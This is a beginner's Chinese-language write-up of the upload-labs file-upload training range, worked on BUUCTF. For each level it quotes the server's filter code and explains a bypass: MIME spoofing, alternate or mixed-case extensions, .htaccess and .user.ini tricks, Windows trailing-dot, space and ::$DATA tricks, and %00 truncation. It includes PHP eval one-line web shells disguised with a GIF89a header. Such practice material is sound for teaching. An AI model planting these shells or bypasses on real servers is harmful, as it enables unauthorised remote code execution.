初学者的一些做题记录
upload-labs好像有两三种版本。。
Pass-01
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } }
|
既然使用js
去检查,那直接尝试在客户端把js
禁用(注意最后一行的设置):
这时上传一句话木马:
1 2 3 4 5
| GIF89a
<?php @eval($_POST['viper']); ?>
|
选中图片后在新建标签中访问:
嗯,没啥毛病。然后POST: viper=phpinfo();(别忘记这个分号,因为用的是eval函数)
可以再试试viper=system('whoami');
然后想尝试直接把js
的检测函数给删了,不过我找了半天没翻出来,看了下网上的wp
:
直接把return checkFile()
删了就行,或者把checkFile()
改成True
。
因为我是在buuctf
上做的,所以上传个图片抓包改后缀也行。
Pass-02
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
|
检查MIME
的话直接改content-type
字段,改成image/jpeg
或者image/png
或者image/gif
都行
PASS-03
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
首先建立了黑名单,禁止上传以'.asp','.aspx','.php','.jsp'
结尾的文件(不过一句话木马的后缀有很多,黑名单过滤不够严谨)。然后它对文件上传的路径也进行了一些处理:$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
可以看到出现了一个随机数rand(1000,9999)
。不过东西无所谓(因为靶场会给文件上传路径),直接找就行。
我的做法是上传后缀为phtml
的一句话木马,因为没有其他检测所以内容是:
1 2 3 4 5
| GIF89a
<?php @eval($_POST['viper']); ?>
|
上传成功后和PASS-01
一样,在图片右键新建标签打开图像
,可以看到上传路径为:
1
| http://4bc1ebb4-deaa-4c68-85bf-7479cdcc6093.node4.buuoj.cn:81/upload/202311100233406191.phtml
|
当然,除了phtml
后缀我们还可以上传其他比如:php5,php3
之类的后缀(不过这个好像只能在自己搭建的靶场通过修改配置文件,我在Buuctf上做的没法修改所以只能上传php3
结尾的。)
PASS-04
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
和第三关一样是黑名单过滤,不过这个明显更加全面。这时考虑通过.htaccess
配置文件上传一句话木马:
1 2 3
| <FilesMatch "test1.png"> SetHandler application/x-httpd-php </FilesMatch>
|
这东西可以把test1.png
当成php
后缀类型的文件。(也可以去掉第一行和第三行上传任意前缀的一句话木马,即把任意后缀的文件当成PHP文件):
1
| SetHandler application/x-httpd-php
|
1 2 3 4 5 6
| GIF89a
<?php @eval($_POST['viper']); ?>
|
我后面又尝试了下上传:
1 2 3
| GIF89a
<script language='php'> @eval($_POST['viper']); </script>
|
这个内容的一句话,但发现虽然能正常上传,访问也能看到GIF89a
但无法连接。。不知道是个什么情况。
PASS-05
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
比第四关中的黑名单多了个.htaccess
,没有用strtolower
对文件进行处理,所以通过大小写组合绕过/纯大写绕过上传文件:viper.PHP
或viper.Php
(我这道题的版本有问题,我看网上有些人的版本符合利用.user.ini
解题的要求),记录一下他们的解题过程:
1 2 3 4 5 6 7 8
| //.user.ini
GIF89a
auto_prepend_file=viper.png
//auto_append_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
|
我上传的user.ini
会导致我访问某些php
文件时自动包含我上传的文件,文件包含我们都清楚,会把任意后缀的文件当php
去读。这时候我就可以上传一些图片后缀的木马了,然后访问任意一个已知的php
界面,他会包含我在user.ini
中指定的木马文件,达到我的目的。不过用蚁剑连接时要注意直接连那个php
文件而不是上传的那个木马,而且含有.user.ini
的文件夹下需要有正常的php
文件,否则也不能包含了。
不过这种方法有三个前提:
1 2 3 4 5
| 服务器脚本语言为PHP
服务器使用CGI/FastCGI模式 //Server API下,BUUCTF上的靶机并不是这个模式(Apache 2.0 Handler)
上传目录下要有可执行的php文件
|
提示给了上传目录存在php文件(readme.php)
,那就把.user,ini
和viper.php
上传然后访问这个readme.php
就行了
PASS-06(windows)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
注意空格绕过只适用windows
下,因为windows
会自动忽略后面的空格,比如viper.php我是空格
会识别为viper.php
,不过比较时还是带着空格的。所以上传时直接抓包加个空格就行了。
注意访问的时候不要加空格,空格被去掉了。
PASS-07
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
注意这里少了deldot
函数,所以直接在后缀加个.
就行了。
注意访问一句话木马的时候要把.
去掉进行访问(windows下
)。
如果在windos
下没把.
去掉就访问会出这个:
但在linux
下一定要把.
带着才能访问,否则会出现:
PASS-08
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
这关去掉了$file_ext = str_ireplace('::$DATA', '', $file_ext);
函数,所以抓包加个::$DATA
后缀就行(不过注意这题和之前的一样,只适用于windos
环境)。上传完了访问去掉::$DATA
的文件就行。
下面的解释参考了https://zhuanlan.zhihu.com/p/476677056
:
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。
如果在Linux
下上传.php::$data
,不管带不带这个::$data
都没法访问文件:
PASS-09
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
|
可以看到这关的过滤更加严格了,不过可以利用deldot
这个函数的特性来绕过:
参考:https://zhuanlan.zhihu.com/p/476677056
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
所以我们可以构造viper.php. .
进行绕过,其实就是.
和空格进行组合:去掉了最后一个.
,碰到空格停止后又碰到了最底下的trim
,这时空格被去掉了(变成PASS-07
那种情况了)。
这题还是只能在windows
下做。
PASS-10
1
| $file_name = str_ireplace($deny_ext,"", $file_name);
|
单纯替换的话我们可以通过双写后缀来绕过:viper.php
PASS-11
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
这段代码会找到文件中最后一个.
的位置,然后提取其扩展名赋值给 $file_name
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
先说下源码的逻辑:先设置$ext_arr
白名单,然后利用函数截取文件名中最后一个.
后的字符串。利用temp_file
先存储临时文件名,将利用GET
方式获得的save_path
的值和/+10~99的一个随机数+获取当前日期和时间
进行拼接,最后加上.$file_ext
赋值给$img_path
。
看了下wp
,这里要用到%00
截断(不过只能用于php版本低于5.3的)。%00
这东西就是个截止符号,系统碰到%00
就不会继续往下读取数据了。
最开始想在文件名
中利用截断上传viper.php%00.jpg
,但想了想这么搞其实没啥用,因为他获取的后缀还是.jpg
不是我想要的.php
,所以要在sava_path
上做文章:
然后直接访问viper.png
就行。
(这道题我是在buuctf
上做的,感觉我这个环境有点问题有些题目解不出来(一直提示上传失败),这里直接参考其他师傅的wp
把答案放上去了)
PASS-13
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传失败"; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
这关就是把$_GET
改成了$_POST
,思路和上一关一样。不过要注意GET
传参会自动把url
转码,而POST
并没有这个功能。